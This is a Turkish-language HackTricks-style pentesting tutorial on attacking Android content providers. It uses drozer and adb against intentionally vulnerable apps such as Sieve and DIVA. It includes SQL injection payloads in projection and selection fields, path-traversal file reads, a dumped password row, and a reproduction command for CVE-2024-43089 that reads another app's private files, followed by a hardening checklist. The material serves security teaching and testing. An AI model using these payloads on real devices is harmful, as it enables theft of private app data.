İçerik Sağlayıcıların Sömürülmesi
Reading time: 7 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Giriş
Veri, bir uygulamadan diğerlerine bir bileşen olan içerik sağlayıcı aracılığıyla talep üzerine sağlanır. Bu talepler, ContentResolver sınıfı yöntemleri aracılığıyla yönetilir. İçerik sağlayıcılar verilerini çeşitli yerlerde depolayabilir, örneğin veritabanı, dosyalar veya bir ağ üzerinden.
Manifest.xml dosyasında, içerik sağlayıcının beyanı gereklidir. Örneğin:
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
content://com.mwr.example.sieve.DBContentProvider/Keys
erişmek için READ_KEYS
izni gereklidir. Geliştiricinin yaptığı bir hata nedeniyle /Keys
güvence altına alınmış, ancak /Keys/
olarak ilan edildiği için aşağıdaki bölümdeki yolun erişilebilir olduğunu belirtmek ilginçtir.
Belki özel verilere erişebilir veya bazı zayıflıkları (SQL Injection veya Path Traversal) istismar edebilirsiniz.
Açık içerik sağlayıcılardan bilgi alın
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
DBContentProvider'a ulaşmanın bir yolunu, URI'leri “content://” ile başlatarak bir araya getirmek mümkündür. Bu yaklaşım, Drozer kullanarak elde edilen içgörülere dayanmaktadır; burada anahtar bilgiler /Keys dizininde bulunmuştur.
Drozer birçok URI'yi tahmin edebilir ve deneyebilir:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
ContentProvider kodunu sorgular için kontrol etmelisiniz:
Ayrıca, tam sorgular bulamazsanız, onCreate
metodunda ContentProvider tarafından tanımlanan isimleri kontrol edebilirsiniz:
Sorgu şöyle olacak: content://name.of.package.class/declared_name
Veritabanı destekli İçerik Sağlayıcılar
Muhtemelen çoğu İçerik Sağlayıcı, bir veritabanı için arayüz olarak kullanılmaktadır. Bu nedenle, ona erişebilirseniz, bilgileri çıkarma, güncelleme, ekleme ve silme işlemlerini yapabilirsiniz.
Hassas bilgilere erişip erişemeyeceğinizi kontrol edin veya yetkilendirme mekanizmalarını atlatmak için değiştirmeyi deneyin.
İçerik Sağlayıcının kodunu kontrol ederken, query, insert, update ve delete gibi adlandırılmış fonksiyonları da gözden geçirin:
Çünkü onları çağırabileceksiniz
İçerik sorgusu
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
İçerik Ekleme
Veritabanını sorgulayarak sütunların adını öğreneceksiniz, ardından veritabanına veri ekleyebilirsiniz:
Ekleme ve güncelleme işlemlerinde --string ile string, --double ile double, --float, --integer, --long, --short, --boolean belirtmek için kullanabilirsiniz.
İçeriği Güncelleme
Sütunların adını bildiğinizde girişleri de değiştirebilirsiniz:
İçeriği Silme
SQL Enjeksiyonu
SQL enjeksiyonunu (SQLite) test etmek, içerik sağlayıcıya geçirilen projection ve selection fields'ı manipüle ederek basittir.
Content Provider'ı sorgularken bilgi aramak için 2 ilginç argüman vardır: --selection ve --projection:
SQL enjeksiyonlarını test etmek için bu parametreleri istismar etmeyi deneyebilirsiniz:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
Drozer ile Otomatik SQLInjection keşfi
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
Dosya Sistemi Destekli İçerik Sağlayıcılar
İçerik sağlayıcılar dosyalara erişmek için de kullanılabilir:
Dosyayı Oku
İçerik Sağlayıcıdan dosyaları okuyabilirsiniz.
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Path Traversal
Eğer dosyalara erişiminiz varsa, Path Traversal'ı kötüye kullanmayı deneyebilirsiniz (bu durumda bu gerekli değil ama "../" ve benzeri hileleri kullanmayı deneyebilirsiniz).
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Drozer ile Otomatik Yol Geçişi Keşfi
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
2023-2025 Güncellemeleri ve Modern İpuçları
Drozer 3.x (Python 3) çıktı
WithSecure, 2022'de drozer'in bakımını yeniden üstlendi ve framework'ü Python 3'e (en son 3.1.0 – Nisan 2024) taşıdı. Uyumluluk düzeltmelerinin yanı sıra, Content Providers ile çalışırken özellikle yararlı olan yeni modüller şunlardır:
scanner.provider.exported
– yalnızcaandroid:exported="true"
olan sağlayıcıları listele.app.provider.grant
–grantUriPermission()
'ı otomatik olarak çağırarak Android 12+'deFLAG_GRANT_READ_URI_PERMISSION
/FLAG_GRANT_WRITE_URI_PERMISSION
bekleyen sağlayıcılarla iletişim kurmanı sağlar.- Android 11+ üzerindeki dosya tabanlı sağlayıcıların hala erişilebilmesi için Scoped Storage'ın daha iyi yönetimi.
Yükseltme (host & agent):
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk
Yerleşik cmd content
yardımcı programını kullanma (ADB ≥ 8.0)
Tüm modern Android cihazları, herhangi bir ajan yüklemeden sağlayıcıları sorgulayıp güncelleyebilen bir CLI ile birlikte gelir:
adb shell cmd content query --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
--bind price:d:1337
adb shell cmd content call --uri content://com.test.provider \
--method evilMethod --arg 'foo'
run-as <pkg>
veya köklü bir shell ile birleştirerek yalnızca dahili sağlayıcıları test edin.
İçerik Sağlayıcılarını Suistimal Eden Son Gerçek Dünya CVE'leri
CVE | Yıl | Bileşen | Hata sınıfı | Etki |
---|---|---|---|---|
CVE-2024-43089 | 2024 | MediaProvider | openFile() 'da yol geçişi | Herhangi bir uygulamanın özel depolamasından rastgele dosya okuma |
CVE-2023-35670 | 2023 | MediaProvider | Yol geçişi | Bilgi ifşası |
Zayıf bir derlemede CVE-2024-43089'u yeniden oluşturun:
adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
API 30+ için Güçlendirme Kontrol Listesi
- Sağlayıcı kamusal olmalı değilse
android:exported="false"
olarak bildirin – API 31'den itibaren bu özellik zorunludur. - Tüm sağlayıcıyı dışa aktarmak yerine izinleri uygulayın ve/veya
android:grantUriPermissions="true"
kullanın. - İzin verilen
projection
,selection
vesortOrder
argümanlarını beyaz listeye alın (örneğin,SQLiteQueryBuilder.setProjectionMap
ile sorgular oluşturun). openFile()
içinde istenen yolu (FileUtils
) standart hale getirin ve geçişi önlemek için..
dizilerini reddedin.- Dosyaları açarken Storage Access Framework veya bir
FileProvider
kullanmayı tercih edin.
Son Android sürümlerindeki bu değişiklikler, birçok eski istismar ilkesinin hala çalıştığı anlamına geliyor, ancak güncellenmiş drozer modülleri veya cmd content
yardımcı programının otomatik olarak uygulayabileceği ek bayraklar/izinler gerektiriyor.
Referanslar
- https://www.tutorialspoint.com/android/android_content_providers.htm
- https://manifestsecurity.com/android-application-security-part-15/
- https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf
- https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0
- https://source.android.com/security/bulletin/2024-07-01
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.